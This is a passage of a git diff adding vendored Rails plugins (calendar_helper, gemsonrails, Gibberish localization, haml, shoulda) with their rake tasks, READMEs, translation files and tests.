    " + end + + private + + def first_day_of_week(day) + day + end + + def last_day_of_week(day) + if day > 0 + day - 1 + else + 6 + end + end + + def days_between(first, second) + if first > second + second + (7 - first) + else + second - first + end + end + + def beginning_of_week(date, start = 1) + days_to_beg = days_between(start, date.wday) + date - days_to_beg + end + + def weekend?(date) + [0, 6].include?(date.wday) + end + +end diff --git a/vendor/plugins/calendar_helper/test/stylesheet_tester.html b/vendor/plugins/calendar_helper/test/stylesheet_tester.html new file mode 100644 index 0000000..5b89f44 --- /dev/null +++ b/vendor/plugins/calendar_helper/test/stylesheet_tester.html @@ -0,0 +1,32 @@ + + + Stylesheet Tester + + + + + + + + + + + + + + + + + + + + + +
    April
    Mon Tue Wed Thu Fri Sat Sun
    27 28 29 30 31 1 2
    3 4 5 6 7 8 9
    10 11 12 13 14 15 16
    17 18 19 20 21 22 23
    24 25 26 27 28 29 30
    + + + diff --git a/vendor/plugins/calendar_helper/test/test_calendar_helper.rb b/vendor/plugins/calendar_helper/test/test_calendar_helper.rb new file mode 100644 index 0000000..0567e58 --- /dev/null +++ b/vendor/plugins/calendar_helper/test/test_calendar_helper.rb @@ -0,0 +1,85 @@ +require 'test/unit' +require File.expand_path(File.dirname(__FILE__) + "/../lib/calendar_helper") + +class CalendarHelperTest < Test::Unit::TestCase + + include CalendarHelper + + + def test_simple + assert_match %r{August}, calendar_with_defaults + end + + + def test_required_fields + # Year and month are required + assert_raises(ArgumentError) { + calendar + } + assert_raises(ArgumentError) { + calendar :year => 1 + } + assert_raises(ArgumentError) { + calendar :month => 1 + } + end + + def test_default_css_classes + # :other_month_class is not implemented yet + { :table_class => "calendar", + :month_name_class => "monthName", + :day_name_class => "dayName", + :day_class => "day" }.each do |key, value| + assert_correct_css_class_for_default value + end + end + + + def test_custom_css_classes + # Uses the key name as the CSS class name + # :other_month_class is not implemented yet + [:table_class, :month_name_class, :day_name_class, :day_class].each do |key| + assert_correct_css_class_for_key key.to_s, key + end + end + + + def test_abbrev + assert_match %r{>Mon<}, calendar_with_defaults(:abbrev => (0..2)) + assert_match %r{>M<}, calendar_with_defaults(:abbrev => (0..0)) + assert_match %r{>Monday<}, calendar_with_defaults(:abbrev => (0..-1)) + end + + + def test_block + # Even days are special + assert_match %r{class="special_day">2<}, calendar(:year => 2006, :month => 8) { |d| + if d.mday % 2 == 0 + [d.mday, {:class => 'special_day'}] + end + } + end + + + def test_first_day_of_week + assert_match %r{
    Sun}, calendar_with_defaults + assert_match %r{
    Mon}, calendar_with_defaults(:first_day_of_week => 1) + end + +private + + + def assert_correct_css_class_for_key(css_class, key) + assert_match %r{class="#{css_class}"}, calendar_with_defaults(key => css_class) + end + + def assert_correct_css_class_for_default(css_class) + assert_match %r{class="#{css_class}"}, calendar_with_defaults + end + + def calendar_with_defaults(options={}) + options = { :year => 2006, :month => 8 }.merge options + calendar options + end + +end diff --git a/vendor/plugins/gemsonrails/init.rb b/vendor/plugins/gemsonrails/init.rb new file mode 100644 index 0000000..04155c0 --- /dev/null +++ b/vendor/plugins/gemsonrails/init.rb @@ -0,0 +1,9 @@ +gems = Dir[File.join(RAILS_ROOT, "vendor/gems/*")] +if gems.any? + gems.each do |dir| + lib = File.join(dir, 'lib') + $LOAD_PATH.unshift(lib) if File.directory?(lib) + init_rb = File.join(dir, 'init.rb') + require init_rb if File.file?(init_rb) + end +end \ No newline at end of file diff --git a/vendor/plugins/gemsonrails/tasks/gems_freeze.rake b/vendor/plugins/gemsonrails/tasks/gems_freeze.rake new file mode 100644 index 0000000..2c5caba --- /dev/null +++ b/vendor/plugins/gemsonrails/tasks/gems_freeze.rake @@ -0,0 +1,64 @@ +namespace :gems do + desc "Freeze a RubyGem into this Rails application; init.rb will be loaded on startup." + task :freeze do + unless gem_name = ENV['GEM'] + puts <<-eos +Parameters: + GEM Name of gem (required) + VERSION Version of gem to freeze (optional) + ONLY RAILS_ENVs for which the GEM will be active (optional) + +eos + break + end + + # ONLY=development[,test] etc + only_list = (ENV['ONLY'] || "").split(',') + only_if_begin = only_list.size == 0 ? "" : <<-EOS +ENV['RAILS_ENV'] ||= 'development' +if %w[#{only_list.join(' ')}].include?(ENV['RAILS_ENV']) + EOS + only_if_end = only_list.size == 0 ? "" : "end" + + require 'rubygems' + Gem.manage_gems + Gem::CommandManager.new + + gem = (version = ENV['VERSION']) ? + Gem.cache.search(gem_name, "= #{version}").first : + Gem.cache.search(gem_name).sort_by { |g| g.version }.last + + version ||= gem.version.version rescue nil + + unpack_command_class = Gem::UnpackCommand rescue nil || Gem::Commands::UnpackCommand + unless gem && path = unpack_command_class.new.get_path(gem_name, version) + raise "No gem #{gem_name} #{version} is installed. Do 'gem list #{gem_name}' to see what you have available." + end + + gems_dir = File.join(RAILS_ROOT, 'vendor', 'gems') + mkdir_p gems_dir, :verbose => false if !File.exists?(gems_dir) + + target_dir = ENV['TO'] || File.basename(path).sub(/\.gem$/, '') + mkdir_p "vendor/gems/#{target_dir}", :verbose => false + + chdir gems_dir, :verbose => false do + mkdir_p target_dir, :verbose => false + abs_target_dir = File.join(Dir.pwd, target_dir) + + (gem = Gem::Installer.new(path)).unpack(abs_target_dir) + chdir target_dir, :verbose => false do + if !File.exists?('init.rb') + File.open('init.rb', 'w') do |file| + file << <<-eos +#{only_if_begin} + require File.join(File.dirname(__FILE__), 'lib', '#{gem_name}') +#{only_if_end} +eos + end + end + end + puts "Unpacked #{gem_name} #{version} to '#{target_dir}'" + end + end + +end diff --git a/vendor/plugins/gemsonrails/tasks/gems_link.rake b/vendor/plugins/gemsonrails/tasks/gems_link.rake new file mode 100644 index 0000000..9c8356e --- /dev/null +++ b/vendor/plugins/gemsonrails/tasks/gems_link.rake @@ -0,0 +1,79 @@ +namespace :gems do + desc "Link a RubyGem into this Rails application; init.rb will be loaded on startup." + task :link do + unless gem_name = ENV['GEM'] + puts <<-eos +Parameters: + GEM Name of gem (required) + ONLY RAILS_ENVs for which the GEM will be active (optional) + +eos + break + end + + # ONLY=development[,test] etc + only_list = (ENV['ONLY'] || "").split(',') + only_if_begin = only_list.size == 0 ? "" : <<-EOS +ENV['RAILS_ENV'] ||= 'development' +if %w[#{only_list.join(' ')}].include?(ENV['RAILS_ENV']) + EOS + only_if_end = only_list.size == 0 ? "" : "end" + + require 'rubygems' + Gem.manage_gems + + gem = Gem.cache.search(gem_name).sort_by { |g| g.version }.last + version ||= gem.version.version rescue nil + + unpack_command_class = Gem::UnpackCommand rescue nil || Gem::Commands::UnpackCommand + unless gem && path = unpack_command_class.new.get_path(gem_name, version) + raise "No gem #{gem_name} is installed. Try 'gem install #{gem_name}' to install the gem." + end + + gems_dir = File.join(RAILS_ROOT, 'vendor', 'gems') + mkdir_p gems_dir, :verbose => false if !File.exists?(gems_dir) + + target_dir = ENV['TO'] || gem.name + mkdir_p "vendor/gems/#{target_dir}" + + chdir gems_dir, :verbose => false do + mkdir_p target_dir + '/tasks', :verbose => false + chdir target_dir, :verbose => false do + File.open('init.rb', 'w') do |file| + file << <<-eos +#{only_if_begin} + require 'rubygems' + Gem.manage_gems + gem = Gem.cache.search('#{gem.name}').sort_by { |g| g.version }.last + if gem.autorequire + require gem.autorequire + else + require '#{gem.name}' + end +#{only_if_end} +eos + end + File.open(File.join('tasks', 'load_tasks.rake'), 'w') do |file| + file << <<-eos +# This file does not include any Rake files, but loads up the +# tasks in the /vendor/gems/ folders +#{only_if_begin} + require 'rubygems' + Gem.manage_gems + gem = Gem.cache.search('#{gem.name}').sort_by { |g| g.version }.last + raise \"Gem '#{gem.name}' is not installed\" if gem.nil? + path = gem.full_gem_path + Dir[File.join(path, "/**/tasks/**/*.rake")].sort.each { |ext| load ext } +#{only_if_end} +eos + end + puts "Linked #{gem_name} (currently #{version}) via 'vendor/gems/#{target_dir}'" + end + end + end + + task :unfreeze do + raise "No gem specified" unless gem_name = ENV['GEM'] + Dir["vendor/gems/#{gem_name}-*"].each { |d| rm_rf d } + end +end \ No newline at end of file diff --git a/vendor/plugins/gemsonrails/tasks/gems_unfreeze.rake b/vendor/plugins/gemsonrails/tasks/gems_unfreeze.rake new file mode 100644 index 0000000..4665e15 --- /dev/null +++ b/vendor/plugins/gemsonrails/tasks/gems_unfreeze.rake @@ -0,0 +1,15 @@ +namespace :gems do + desc "Unfreeze/unlink a RubyGem from this Rails application" + task :unfreeze do + unless gem_name = ENV['GEM'] + puts <<-eos +Parameters: + GEM Name of gem (required) + + +eos + break + end + Dir["vendor/gems/#{gem_name}*"].each { |d| rm_rf d } + end +end \ No newline at end of file diff --git a/vendor/plugins/gemsonrails/tasks/load_tasks_in_gems.rake b/vendor/plugins/gemsonrails/tasks/load_tasks_in_gems.rake new file mode 100644 index 0000000..e4b0a4c --- /dev/null +++ b/vendor/plugins/gemsonrails/tasks/load_tasks_in_gems.rake @@ -0,0 +1,10 @@ +# This file does not include any Rake files, but loads up the +# tasks in the /vendor/gems/ folders + +Dir[File.join(RAILS_ROOT, "vendor/gems/*/**/tasks/**/*.rake")].sort.each do |ext| + begin + load ext + rescue + puts $! + end +end \ No newline at end of file diff --git a/vendor/plugins/gibberish/LICENSE b/vendor/plugins/gibberish/LICENSE new file mode 100644 index 0000000..03b4b0f --- /dev/null +++ b/vendor/plugins/gibberish/LICENSE @@ -0,0 +1,18 @@ +Copyright (c) 2007 Chris Wanstrath + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of +the Software, and to permit persons to whom the Software is furnished to do so, +subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS +FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR +COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER +IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN +CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/gibberish/README b/vendor/plugins/gibberish/README new file mode 100644 index 0000000..dd79c69 --- /dev/null +++ b/vendor/plugins/gibberish/README @@ -0,0 +1,113 @@ += Gibberish + +Yet another localization library. Maybe with the most agreeable API? + += Usage + +It's simple. Your default language, by default, is English (:en). + + >> "Hey there!"[:hey] + => "Hey there!" + +Gibberish looks in RAILS_ROOT/lang/*.yml for translation files. Say you have RAILS_ROOT/lang/es.yml, +right? Gibberish will detect that you know about the :es language and will serve up translations +defined in that file if requested to do so. + +Here's a real simple example file (it's just "key: translation"): + + $ cat lang/es.yml + hey: Hey all! + +And, as follows, a real simple example session: + + >> "Hey there!"[:hey] + => "Hey there!" + >> Gibberish.current_language + => :en + >> Gibberish.current_language = :es + => :es + >> "Hey there!"[:hey] + => "Hey all!" + >> Gibberish.current_language = nil + => nil + >> "Hey there!"[:hey] + => "Hey there!" + +It even works with simple interpolation: + + >> "Hey, {name}!"[:hey_name, 'Chris'] + => "Hey, Chris!" + >> "{name} is from {place}"[:hey_place, 'Chris', 'the Dreamworld'] + => "Chris is from the Dreamworld" + +Notice we don't use hashes (#) like normal Ruby interpolation. Also, the names of the variables +in the brackets don't really mean much. Interpolation is done in order -- the first argument replaces +the first variable in brackets, the second the second, etc. + +This of course works with your translations: + + $ cat lang/es.yml + hey: Hey all! + hey_name: Hola {name}! + + >> "Hey, {name}!"[:hey_name, 'Chris'] + => "Hey, Chris!" + >> Gibberish.current_language = :es + => :es + >> "Hey, {name}!"[:hey_name, 'Cristbal'] + => Hola Cristbal! + +Neat. What other methods do we get? + +The classic around_filter: + + class ApplicationController < ActionController::Base + around_filter :set_language + + private + def set_language + Gibberish.use_language(session[:language]) { yield } + end + end + +For the duration of the block, :es is set as the language of choice. After the block is run everything +returns to normal. Rad. + +Finally, some checking methods, if you need them: + + >> Gibberish.default_language? + => true + >> Gibberish.current_language = :es + => :es + >> Gibberish.current_language + => :es + >> Gibberish.default_language? + => false + +Languages are loaded by default at Rails startup. In dev mode, language YAML files are reloaded when +modified. No need to reboot the server. + + >> Gibberish.load_languages! + => [:es, :fr, :de, :kl] + >> Gibberish.languages + => [:es, :fr, :de, :kl] + +More as it's needed. + += Warning + +By default, Ruby returns nil when a symbol is passed to String's [] method. Some of Rails, it seems, depends +on this behavior. Yes, I am changing !!core Ruby behavior!! The humanity! + +To deal with this assumption, Gibberish has a reserved_keys array. It, by default, contains :limit (so Rails +migrations don't explode on you.) To add to this array, just pass it more keys: + + >> Gibberish.add_reserved_key :another_key + => [:limit, :another_key] + >> Gibberish.add_reserved_keys :more, :keys + => [:limit, :another_key, :more, :keys] + +You've been warned. It really shouldn't affect you, though. + +>> Chris Wanstrath +=> chris[at]ozmm[dot]org diff --git a/vendor/plugins/gibberish/init.rb b/vendor/plugins/gibberish/init.rb new file mode 100644 index 0000000..02586b3 --- /dev/null +++ b/vendor/plugins/gibberish/init.rb @@ -0,0 +1,3 @@ +require 'gibberish' + +Gibberish.load_languages! diff --git a/vendor/plugins/gibberish/lang/es.yml b/vendor/plugins/gibberish/lang/es.yml new file mode 100644 index 0000000..de6be6b --- /dev/null +++ b/vendor/plugins/gibberish/lang/es.yml @@ -0,0 +1,3 @@ +welcome_friend: Recepcin, amigo! +welcome_user: Recepcin, {user}! +love_rails: Amo los carriles. diff --git a/vendor/plugins/gibberish/lang/fr.yml b/vendor/plugins/gibberish/lang/fr.yml new file mode 100644 index 0000000..f7c30c7 --- /dev/null +++ b/vendor/plugins/gibberish/lang/fr.yml @@ -0,0 +1,3 @@ +welcome_friend: Bienvenue, ami! +welcome_user: Bienvenue, {user}! +love_rails: J'aime des rails. diff --git a/vendor/plugins/gibberish/lib/gibberish.rb b/vendor/plugins/gibberish/lib/gibberish.rb new file mode 100644 index 0000000..0f03a4d --- /dev/null +++ b/vendor/plugins/gibberish/lib/gibberish.rb @@ -0,0 +1,10 @@ +require 'gibberish/localize' +require 'gibberish/string_ext' +require 'gibberish/activerecord_ext' + +String.send :include, Gibberish::StringExt + +module Gibberish + extend Localize +end + diff --git a/vendor/plugins/gibberish/lib/gibberish/activerecord_ext.rb b/vendor/plugins/gibberish/lib/gibberish/activerecord_ext.rb new file mode 100644 index 0000000..85fa4ab --- /dev/null +++ b/vendor/plugins/gibberish/lib/gibberish/activerecord_ext.rb @@ -0,0 +1,20 @@ +module ActiveRecord + class Errors + def full_messages + full_messages = [] + + @errors.each_key do |attr| + @errors[attr].each do |msg| + next if msg.nil? + + if attr == "base" + full_messages << msg + else + full_messages << @base.class.human_attribute_name(attr.send("[]")) + " " + msg + end + end + end + full_messages + end + end +end diff --git a/vendor/plugins/gibberish/lib/gibberish/localize.rb b/vendor/plugins/gibberish/lib/gibberish/localize.rb new file mode 100644 index 0000000..09ea6ac --- /dev/null +++ b/vendor/plugins/gibberish/lib/gibberish/localize.rb @@ -0,0 +1,70 @@ +module Gibberish + module Localize + @@default_language = :en + mattr_reader :default_language + + @@reserved_keys = [ :limit ] + mattr_reader :reserved_keys + + def add_reserved_key(*key) + (@@reserved_keys += key.flatten).uniq! + end + alias :add_reserved_keys :add_reserved_key + + @@languages = {} + def languages + @@languages.keys + end + + @@current_language = nil + def current_language + @@current_language || default_language + end + + def current_language=(language) + load_languages! if defined? RAILS_ENV && RAILS_ENV == 'development' + + language = language.to_sym if language.respond_to? :to_sym + @@current_language = @@languages[language] ? language : nil + end + + def use_language(language) + start_language = current_language + self.current_language = language + yield + self.current_language = start_language + end + + def default_language? + current_language == default_language + end + + def translations + @@languages[current_language] || {} + end + + def translate(string, key, *args) + return if reserved_keys.include? key + File.open("#{RAILS_ROOT}/lang/tmp_keys", "a").puts key if ENV['GIBBERISH_EXPORT'] + target = translations[key] || string + interpolate_string(target.dup, *args.dup) + end + + def load_languages! + language_files.each do |file| + key = File.basename(file, '.*').to_sym + @@languages[key] = YAML.load_file(file).symbolize_keys + end + languages + end + + private + def interpolate_string(string, *args) + string.gsub(/\{\w+\}/) { args.shift } + end + + def language_files + Dir[File.join(RAILS_ROOT, 'lang', '*.{yml,yaml}')] + end + end +end diff --git a/vendor/plugins/gibberish/lib/gibberish/string_ext.rb b/vendor/plugins/gibberish/lib/gibberish/string_ext.rb new file mode 100644 index 0000000..b498d56 --- /dev/null +++ b/vendor/plugins/gibberish/lib/gibberish/string_ext.rb @@ -0,0 +1,17 @@ +module Gibberish + module StringExt + def brackets_with_translation(*args) + args = [underscore.tr(' ', '_').to_sym] if args.empty? + return brackets_without_translation(*args) unless args.first.is_a? Symbol + Gibberish.translate(self, args.shift, *args) + end + + def self.included(base) + base.class_eval do + alias :brackets :[] + alias_method_chain :brackets, :translation + alias :[] :brackets + end + end + end +end diff --git a/vendor/plugins/gibberish/test/gibberish_test.rb b/vendor/plugins/gibberish/test/gibberish_test.rb new file mode 100644 index 0000000..17bd14f --- /dev/null +++ b/vendor/plugins/gibberish/test/gibberish_test.rb @@ -0,0 +1,182 @@ +begin + require 'rubygems' + require 'test/spec' +rescue LoadError + puts "==> The test/spec library (gem) is required to run the Gibberish tests." + exit +end + +$:.unshift File.dirname(__FILE__) + '/../lib' +require 'active_support' +require 'gibberish' + +RAILS_ROOT = '.' +Gibberish.load_languages! + +context "After loading languages, Gibberish" do + teardown do + Gibberish.current_language = nil + end + + specify "should know what languages it has translations for" do + Gibberish.languages.should.include :es + end + + specify "should know if it is using the default language" do + Gibberish.should.be.default_language + end + + specify "should be able to switch between existing languages" do + Gibberish.current_language = :es + string = "Welcome, friend!" + string[:welcome_friend].should.not.equal string + + Gibberish.current_language = :fr + string[:welcome_friend].should.not.equal string + + Gibberish.current_language = nil + string[:welcome_friend].should.equal string + end + + specify "should be able to switch languages using strings" do + Gibberish.current_language = 'es' + Gibberish.current_language.should.equal :es + end + + specify "should be able to switch to the default language at any time" do + Gibberish.current_language = :fr + Gibberish.should.not.be.default_language + + Gibberish.current_language = nil + Gibberish.should.be.default_language + end + + specify "should be able to switch to a certain language for the duration of a block" do + Gibberish.should.be.default_language + + string = "Welcome, friend!" + string[:welcome_friend].should.equal string + + Gibberish.use_language :es do + string[:welcome_friend].should.not.equal string + Gibberish.should.not.be.default_language + end + + Gibberish.should.be.default_language + string[:welcome_friend].should.equal string + end + + specify "should return an array of the languages it loaded" do + languages = Gibberish.load_languages! + languages.should.be.an.instance_of Array + languages.should.include :es + languages.should.include :fr + end + + specify "should know what languages it has loaded" do + languages = Gibberish.languages + languages.should.be.an.instance_of Array + languages.should.include :es + languages.should.include :fr + end + + specify "should be able to accept new, unique reserved keys" do + key = :something_evil + Gibberish.add_reserved_key key + Gibberish.reserved_keys.should.include key + Gibberish.reserved_keys.size.should.equal 2 + Gibberish.add_reserved_key key + Gibberish.add_reserved_key key + Gibberish.reserved_keys.size.should.equal 2 + end +end + +context "When no language is set" do + setup do + Gibberish.current_language = nil + end + + specify "the default language should be used" do + Gibberish.current_language.should.equal Gibberish.default_language + end + + specify "a gibberish string should return itself" do + string = "Welcome, friend!" + Gibberish.translate(string, :welcome_friend).should.equal string + + string[:welcome_friend].should.equal string + end +end + +context "When a non-existent language is set" do + setup do + Gibberish.current_language = :klingon + end + + specify "the default language should be used" do + Gibberish.current_language.should.equal Gibberish.default_language + end + + specify "gibberish strings should return themselves" do + string = "something gibberishy" + string[:welcome_friend].should.equal string + end +end + +context "A gibberish string (in general)" do + specify "should be a string" do + "gibberish"[:just_a_string].should.be.an.instance_of String + "non-gibberish".should.be.an.instance_of String + end + + specify "should interpolate if passed arguments and replaces are present" do + 'Hi, {user} of {place}'[:hi_there, 'chris', 'france'].should.equal "Hi, chris of france" + '{computer} omg?'[:puter, 'mac'].should.equal "mac omg?" + end + + specify "should not affect existing string methods" do + string = "chris" + answer = 'ch' + string[0..1].should.equal answer + string[0, 2].should.equal answer + string[0].should.equal 99 + string[/ch/].should.equal answer + string['ch'].should.equal answer + string['bc'].should.be.nil + string[/dog/].should.be.nil + end + + specify "should return nil if a reserved key is used" do + "string"[:limit].should.be.nil + end + + specify "should set default key to underscored string" do + Gibberish.current_language = :es + 'welcome friend'[].should == 'Recepcin, amigo!' + end +end + +context "When a non-default language is set" do + setup do + Gibberish.current_language = :es + end + + specify "that language should be used" do + Gibberish.current_language.should.equal :es + end + + specify "the default language should not be used" do + Gibberish.should.not.be.default_language + end + + specify "a gibberish string should return itself if a corresponding key is not found" do + string = "The internet!" + string[:the_internet].should.equal string + end + + specify "a gibberish string should return a translated version of itself if a corresponding key is found" do + "Welcome, friend!"[:welcome_friend].should.equal "Recepcin, amigo!" + "I love Rails."[:love_rails].should.equal "Amo los carriles." + 'Welcome, {user}!'[:welcome_user, 'Marvin'].should.equal "Recepcin, Marvin!" + end +end diff --git a/vendor/plugins/haml/init.rb b/vendor/plugins/haml/init.rb new file mode 100644 index 0000000..cd1906a --- /dev/null +++ b/vendor/plugins/haml/init.rb @@ -0,0 +1,8 @@ +require 'rubygems' +require 'haml' +require 'haml/template' +require 'sass' +require 'sass/plugin' + +ActionView::Base.register_template_handler('haml', Haml::Template) +Sass::Plugin.update_stylesheets diff --git a/vendor/plugins/shoulda/MIT-LICENSE b/vendor/plugins/shoulda/MIT-LICENSE new file mode 100644 index 0000000..f8e9154 --- /dev/null +++ b/vendor/plugins/shoulda/MIT-LICENSE @@ -0,0 +1,22 @@ +Copyright (c) 2007, Tammer Saleh, Thoughtbot, Inc. + +Permission is hereby granted, free of charge, to any person +obtaining a copy of this software and associated documentation +files (the "Software"), to deal in the Software without +restriction, including without limitation the rights to use, +copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the +Software is furnished to do so, subject to the following +conditions: + +The above copyright notice and this permission notice shall be +included in all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/plugins/shoulda/README b/vendor/plugins/shoulda/README new file mode 100644 index 0000000..f35348e --- /dev/null +++ b/vendor/plugins/shoulda/README @@ -0,0 +1,123 @@ += Shoulda - Making tests easy on the fingers and eyes + +Shoulda makes it easy to write elegant, understandable, and maintainable tests. Shoulda consists of test macros, assertions, and helpers added on to the Test::Unit framework. It's fully compatible with your existing tests, and requires no retooling to use. + +Helpers:: #context and #should give you rSpec like test blocks. + In addition, you get nested contexts and a much more readable syntax. +Macros:: Generate hundreds of lines of Controller and ActiveRecord tests with these powerful macros. + They get you started quickly, and can help you ensure that your application is conforming to best practices. +Assertions:: Many common rails testing idioms have been distilled into a set of useful assertions. + += Usage + +=== Context Helpers (ThoughtBot::Shoulda::Context) + +Stop killing your fingers with all of those underscores... Name your tests with plain sentences! + + class UserTest << Test::Unit::TestCase + context "A User instance" do + setup do + @user = User.find(:first) + end + + should "return its full name" + assert_equal 'John Doe', @user.full_name + end + + context "with a profile" do + setup do + @user.profile = Profile.find(:first) + end + + should "return true when sent #has_profile?" + assert @user.has_profile? + end + end + end + end + +Produces the following test methods: + + "test: A User instance should return its full name." + "test: A User instance with a profile should return true when sent #has_profile?." + +So readable! + +=== ActiveRecord Tests (ThoughtBot::Shoulda::ActiveRecord) + +Quick macro tests for your ActiveRecord associations and validations: + + class PostTest < Test::Unit::TestCase + load_all_fixtures + + should_belong_to :user + should_have_many :tags, :through => :taggings + + should_require_unique_attributes :title + should_require_attributes :body, :message => /wtf/ + should_require_attributes :title + should_only_allow_numeric_values_for :user_id + end + + class UserTest < Test::Unit::TestCase + load_all_fixtures + + should_have_many :posts + + should_not_allow_values_for :email, "blah", "b lah" + should_allow_values_for :email, "a@b.com", "asdf@asdf.com" + should_ensure_length_in_range :email, 1..100 + should_ensure_value_in_range :age, 1..100 + should_protect_attributes :password + end + +Makes TDD so much easier. + +=== Controller Tests (ThoughtBot::Shoulda::Controller::ClassMethods) + +Macros to test the most common controller patterns... + + context "on GET to :show for first record" do + setup do + get :show, :id => 1 + end + + should_assign_to :user + should_respond_with :success + should_render_template :show + should_not_set_the_flash + + should "do something else really cool" do + assert_equal 1, assigns(:user).id + end + end + +Test entire controllers in a few lines... + + class PostsControllerTest < Test::Unit::TestCase + should_be_restful do |resource| + resource.parent = :user + + resource.create.params = { :title => "first post", :body => 'blah blah blah'} + resource.update.params = { :title => "changed" } + end + end + +should_be_restful generates 40 tests on the fly, for both html and xml requests. + +=== Helpful Assertions (ThoughtBot::Shoulda::General) + +More to come here, but have fun with what's there. + + load_all_fixtures + assert_same_elements([:a, :b, :c], [:c, :a, :b]) + assert_contains(['a', '1'], /\d/) + assert_contains(['a', '1'], 'a') + += Credits + +Shoulda is maintained by {Tammer Saleh}[mailto:tsaleh@thoughtbot.com], and is funded by Thoughtbot[http://www.thoughtbot.com], inc. + += License + +Shoulda is Copyright © 2006-2007 Tammer Saleh, Thoughtbot. It is free software, and may be redistributed under the terms specified in the MIT-LICENSE file. diff --git a/vendor/plugins/shoulda/Rakefile b/vendor/plugins/shoulda/Rakefile new file mode 100644 index 0000000..8c7cf29 --- /dev/null +++ b/vendor/plugins/shoulda/Rakefile @@ -0,0 +1,32 @@ +require 'rake' +require 'rake/testtask' +require 'rake/rdoctask' + +# Test::Unit::UI::VERBOSE + +Rake::TestTask.new do |t| + t.libs << 'lib' + t.pattern = 'test/{unit,functional,other}/**/*_test.rb' + t.verbose = false +end + +Rake::RDocTask.new { |rdoc| + rdoc.rdoc_dir = 'doc' + rdoc.title = "Shoulda -- Making tests easy on the fingers and eyes" + rdoc.options << '--line-numbers' << '--inline-source' + rdoc.template = "#{ENV['template']}.rb" if ENV['template'] + rdoc.rdoc_files.include('README', 'lib/**/*.rb') +} + +desc 'Update documentation on website' +task :sync_docs => 'rdoc' do + `rsync -ave ssh doc/ dev@dev.thoughtbot.com:/home/dev/www/dev.thoughtbot.com/shoulda` +end + +desc 'Default: run tests.' +task :default => ['test'] + +Dir['tasks/*.rake'].each do |f| + load f +end + diff --git a/vendor/plugins/shoulda/bin/convert_to_should_syntax b/vendor/plugins/shoulda/bin/convert_to_should_syntax new file mode 100755 index 0000000..ca5b94d --- /dev/null +++ b/vendor/plugins/shoulda/bin/convert_to_should_syntax @@ -0,0 +1,40 @@ +#!/usr/bin/env ruby +require 'fileutils' + +def usage(msg = nil) + puts "Error: #{msg}" if msg + puts if msg + puts "Usage: #{File.basename(__FILE__)} normal_test_file.rb" + puts + puts "Will convert an existing test file with names like " + puts + puts " def test_should_do_stuff" + puts " ..." + puts " end" + puts + puts "to one using the new syntax: " + puts + puts " should \"be super cool\" do" + puts " ..." + puts " end" + puts + puts "A copy of the old file will be left under /tmp/ in case this script just seriously screws up" + puts + exit (msg ? 2 : 0) +end + +usage("Wrong number of arguments.") unless ARGV.size == 1 +usage("This system doesn't have a /tmp directory. wtf?") unless File.directory?('/tmp') + +file = ARGV.shift +tmpfile = "/tmp/#{File.basename(file)}" +usage("File '#{file}' doesn't exist") unless File.exists?(file) + +FileUtils.cp(file, tmpfile) +contents = File.read(tmpfile) +contents.gsub!(/def test_should_(.*)\s*$/, 'should "\1" do') +contents.gsub!(/def test_(.*)\s*$/, 'should "RENAME ME: test \1" do') +contents.gsub!(/should ".*" do$/) {|line| line.tr!('_', ' ')} +File.open(file, 'w') { |f| f.write(contents) } + +puts "File '#{file}' has been converted to 'should' syntax. Old version has been stored in '#{tmpfile}'" diff --git a/vendor/plugins/shoulda/cruise_control.rb b/vendor/plugins/shoulda/cruise_control.rb new file mode 120000 index 0000000..9feac18 --- /dev/null +++ b/vendor/plugins/shoulda/cruise_control.rb @@ -0,0 +1 @@ +/home/builder/public_repo_cruise_config.rb \ No newline at end of file diff --git a/vendor/plugins/shoulda/init.rb b/vendor/plugins/shoulda/init.rb new file mode 100644 index 0000000..736e004 --- /dev/null +++ b/vendor/plugins/shoulda/init.rb @@ -0,0 +1,3 @@ +require 'rubygems' +require 'active_support' +require 'shoulda' \ No newline at end of file diff --git a/vendor/plugins/shoulda/lib/shoulda.rb b/vendor/plugins/shoulda/lib/shoulda.rb new file mode 100644 index 0000000..5c006bc --- /dev/null +++ b/vendor/plugins/shoulda/lib/shoulda.rb @@ -0,0 +1,45 @@ +require 'yaml' +require 'shoulda/private_helpers' +require 'shoulda/general' +require 'shoulda/gem/shoulda' +require 'shoulda/active_record_helpers' +require 'shoulda/controller_tests/controller_tests.rb' + +shoulda_options = {} + +possible_config_paths = [] +possible_config_paths << File.join(ENV["HOME"], ".shoulda.conf") if ENV["HOME"] +possible_config_paths << "shoulda.conf" +possible_config_paths << File.join("test", "shoulda.conf") +possible_config_paths << File.join(RAILS_ROOT, "test", "shoulda.conf") if defined?(RAILS_ROOT) + +possible_config_paths.each do |config_file| + if File.exists? config_file + shoulda_options = YAML.load_file(config_file).symbolize_keys + break + end +end + +require 'shoulda/color' if shoulda_options[:color] + +module Test # :nodoc: all + module Unit + class TestCase + + include ThoughtBot::Shoulda::Controller + include ThoughtBot::Shoulda::General + + class << self + include 